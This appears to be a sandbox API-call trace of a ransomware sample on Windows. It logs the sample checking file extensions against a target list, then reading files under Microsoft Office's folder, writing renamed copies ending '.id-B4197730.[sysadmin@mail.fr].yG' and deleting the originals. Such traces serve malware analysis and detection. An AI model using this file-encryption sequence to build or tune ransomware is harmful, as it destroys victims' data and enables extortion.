	[0156.832] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.832] lstrlenW (lpString=".rar") returned 4
	[0156.832] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.832] lstrlenW (lpString=".bz2") returned 4
	[0156.832] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.832] lstrlenW (lpString=".7z") returned 3
	[0156.833] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.833] lstrlenW (lpString=".dbf") returned 4
	[0156.833] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.833] lstrlenW (lpString=".1cd") returned 4
	[0156.833] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-string-l1-1-0.dll") returned 81
	[0156.833] lstrlenW (lpString=".jpg") returned 4
	[0156.833] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.834] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0156.834] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30
	[0156.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.837] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=21184) returned 1
	[0156.837] CloseHandle (hObject=0x350) returned 1
	[0156.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x220
	[0156.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0156.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.839] lstrlenW (lpString=".doc") returned 4
	[0156.839] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.839] lstrlenW (lpString=".docx") returned 5
	[0156.839] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.839] lstrlenW (lpString=".pdf") returned 4
	[0156.839] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.839] lstrlenW (lpString=".xls") returned 4
	[0156.839] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.839] lstrlenW (lpString=".xlsx") returned 5
	[0156.839] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.839] lstrlenW (lpString=".ppt") returned 4
	[0156.839] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.839] lstrlenW (lpString=".zip") returned 4
	[0156.839] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.839] lstrlenW (lpString=".rar") returned 4
	[0156.839] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.839] lstrlenW (lpString=".bz2") returned 4
	[0156.839] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.840] lstrlenW (lpString=".7z") returned 3
	[0156.840] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.840] lstrlenW (lpString=".dbf") returned 4
	[0156.840] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.840] lstrlenW (lpString=".1cd") returned 4
	[0156.840] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.840] lstrlenW (lpString=".jpg") returned 4
	[0156.840] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.840] lstrlenW (lpString=".doc") returned 4
	[0156.840] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.840] lstrlenW (lpString=".docx") returned 5
	[0156.840] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.840] lstrlenW (lpString=".pdf") returned 4
	[0156.840] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.840] lstrlenW (lpString=".xls") returned 4
	[0156.840] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.841] lstrlenW (lpString=".xlsx") returned 5
	[0156.841] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.841] lstrlenW (lpString=".ppt") returned 4
	[0156.841] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.841] lstrlenW (lpString=".zip") returned 4
	[0156.841] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.841] lstrlenW (lpString=".rar") returned 4
	[0156.841] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.841] lstrlenW (lpString=".bz2") returned 4
	[0156.841] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.841] lstrlenW (lpString=".7z") returned 3
	[0156.841] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.841] lstrlenW (lpString=".dbf") returned 4
	[0156.841] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.841] lstrlenW (lpString=".1cd") returned 4
	[0156.841] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0156.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79
	[0156.841] lstrlenW (lpString=".jpg") returned 4
	[0156.841] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0156.842] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0156.842] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33
	[0156.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.843] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19136) returned 1
	[0156.843] CloseHandle (hObject=0x350) returned 1
	[0156.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220
	[0156.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0156.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82
	[0156.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82
	[0156.844] lstrlenW (lpString=".doc") returned 4
	[0156.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0156.844] lstrlenW (lpString=".docx") returned 5
	[0156.844] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0156.844] lstrlenW (lpString=".pdf") returned 4
	[0156.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0156.844] lstrlenW (lpString=".xls") returned 4
	[0156.845] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0156.845] lstrlenW (lpString=".xlsx") returned 5
	[0156.845] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0156.845] lstrlenW (lpString=".ppt") returned 4
	[0156.845] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0156.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82
	[0156.845] lstrlenW (lpString=".zip") returned 4
	[0156.845] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0156.845] lstrlenW (lpString=".rar") returned 4
	[0156.845] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0156.845] lstrlenW (lpString=".bz2") returned 4
	[0156.845] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0156.845] lstrlenW (lpString=".7z") returned 3
	[0156.845] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0156.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-utility-l1-1-0.dll") returned 82
	[0156.845] lstrlenW (lpString=".dbf") returned 4
	[0156.845] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0156.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.847] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=259800) returned 1
	[0156.847] CloseHandle (hObject=0x350) returned 1
	[0156.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll")) returned 0x220
	[0156.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0156.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0157.686] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=707) returned 1
	[0157.686] CloseHandle (hObject=0x4ac) returned 1
	[0157.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220
	[0157.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0158.256] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.256] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0158.693] GetLastError () returned 0x0
	[0158.694] ReadFile (in: hFile=0x360, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2c3, lpOverlapped=0x0) returned 1
	[0158.845] WriteFile (in: hFile=0x550, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d0, lpOverlapped=0x0) returned 1
	[0158.846] ReadFile (in: hFile=0x360, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.847] WriteFile (in: hFile=0x550, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x108, lpOverlapped=0x0) returned 1
	[0158.847] SetEndOfFile (hFile=0x550) returned 1
	[0158.847] CloseHandle (hObject=0x550) returned 1
	[0158.848] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.848] SetEndOfFile (hFile=0x360) returned 1
	[0158.852] CloseHandle (hObject=0x360) returned 1
	[0158.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1
	[0158.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.854] lstrlenW (lpString=".doc") returned 4
	[0158.854] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0158.854] lstrlenW (lpString=".docx") returned 5
	[0158.854] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0158.854] lstrlenW (lpString=".pdf") returned 4
	[0158.854] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0158.854] lstrlenW (lpString=".xls") returned 4
	[0158.854] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0158.854] lstrlenW (lpString=".xlsx") returned 5
	[0158.854] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0158.854] lstrlenW (lpString=".ppt") returned 4
	[0158.854] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0158.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.854] lstrlenW (lpString=".zip") returned 4
	[0158.854] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0158.854] lstrlenW (lpString=".rar") returned 4
	[0158.854] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0158.854] lstrlenW (lpString=".bz2") returned 4
	[0158.855] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0158.855] lstrlenW (lpString=".7z") returned 3
	[0158.855] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0158.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.855] lstrlenW (lpString=".dbf") returned 4
	[0158.855] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0158.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.855] lstrlenW (lpString=".1cd") returned 4
	[0158.855] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0158.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.855] lstrlenW (lpString=".jpg") returned 4
	[0158.855] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0158.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.855] lstrlenW (lpString=".doc") returned 4
	[0158.855] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0158.855] lstrlenW (lpString=".docx") returned 5
	[0158.855] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0158.855] lstrlenW (lpString=".pdf") returned 4
	[0158.855] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0158.855] lstrlenW (lpString=".xls") returned 4
	[0158.855] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0158.855] lstrlenW (lpString=".xlsx") returned 5
	[0158.856] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0158.856] lstrlenW (lpString=".ppt") returned 4
	[0158.856] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0158.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.856] lstrlenW (lpString=".zip") returned 4
	[0158.856] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0158.856] lstrlenW (lpString=".rar") returned 4
	[0158.856] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0158.856] lstrlenW (lpString=".bz2") returned 4
	[0158.856] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0158.856] lstrlenW (lpString=".7z") returned 3
	[0158.856] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0158.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.856] lstrlenW (lpString=".dbf") returned 4
	[0158.856] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0158.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.856] lstrlenW (lpString=".1cd") returned 4
	[0158.856] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0158.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75
	[0158.856] lstrlenW (lpString=".jpg") returned 4
	[0158.856] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0158.856] lstrcmpiW (lpString1=".msu", lpString2=".yG") returned -1
	[0158.857] lstrlenW (lpString="Windows8.1-KB2999226-x64.msu") returned 28
	[0158.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0159.200] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=994589) returned 1
	[0159.201] CloseHandle (hObject=0x4a4) returned 1
	[0159.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220
	[0159.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0159.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0159.204] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.204] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0159.205] GetLastError () returned 0x0
	[0159.206] ReadFile (in: hFile=0x4a4, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xf2d1d, lpOverlapped=0x0) returned 1
	[0160.155] WriteFile (in: hFile=0x364, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xf2d20, lpOverlapped=0x0) returned 1
	[0160.428] ReadFile (in: hFile=0x4a4, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.428] WriteFile (in: hFile=0x364, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0160.428] SetEndOfFile (hFile=0x364) returned 1
	[0160.428] CloseHandle (hObject=0x364) returned 1
	[0160.428] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.428] SetEndOfFile (hFile=0x4a4) returned 1
	[0160.544] CloseHandle (hObject=0x4a4) returned 1
	[0160.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1
	[0161.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.368] lstrlenW (lpString=".doc") returned 4
	[0161.368] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0161.368] lstrlenW (lpString=".docx") returned 5
	[0161.368] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0161.368] lstrlenW (lpString=".pdf") returned 4
	[0161.368] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0161.368] lstrlenW (lpString=".xls") returned 4
	[0161.368] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0161.368] lstrlenW (lpString=".xlsx") returned 5
	[0161.368] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0161.369] lstrlenW (lpString=".ppt") returned 4
	[0161.369] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0161.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0161.369] lstrlenW (lpString=".zip") returned 4
	[0161.369] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0161.369] lstrlenW (lpString=".rar") returned 4
	[0161.369] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0161.369] lstrlenW (lpString=".bz2") returned 4
	[0161.369] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
